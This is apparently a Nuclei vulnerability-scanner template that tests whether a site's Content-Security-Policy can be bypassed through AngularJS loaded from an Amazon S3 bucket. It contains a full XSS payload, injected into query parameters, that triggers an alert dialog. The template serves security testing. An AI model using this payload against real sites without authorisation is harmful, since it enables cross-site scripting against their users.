id: amazon-s3-elysium-csp-bypass

info:
  name: Content-Security-Policy Bypass - Amazon S3 Elysium
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,amazon-s3-elysium,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "amazonaws.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: amazon_s3_elysium_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="//elysiumwebsite.s3.amazonaws.com/uploads/blog-media/rockstar/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "amazon_s3_elysium_csp_xss == true"
# digest: 4a0a00473045022006d5ee42817d4fcd8546175b6728788bbf9df96626befa0c9d00ac0f32a7a8e2022100fbc4c55e81a65a373b4b28deb93171a5e1e5f70856970e9a3886ffa8d86fd5fb:922c64590222798bb761d5b6d8e72950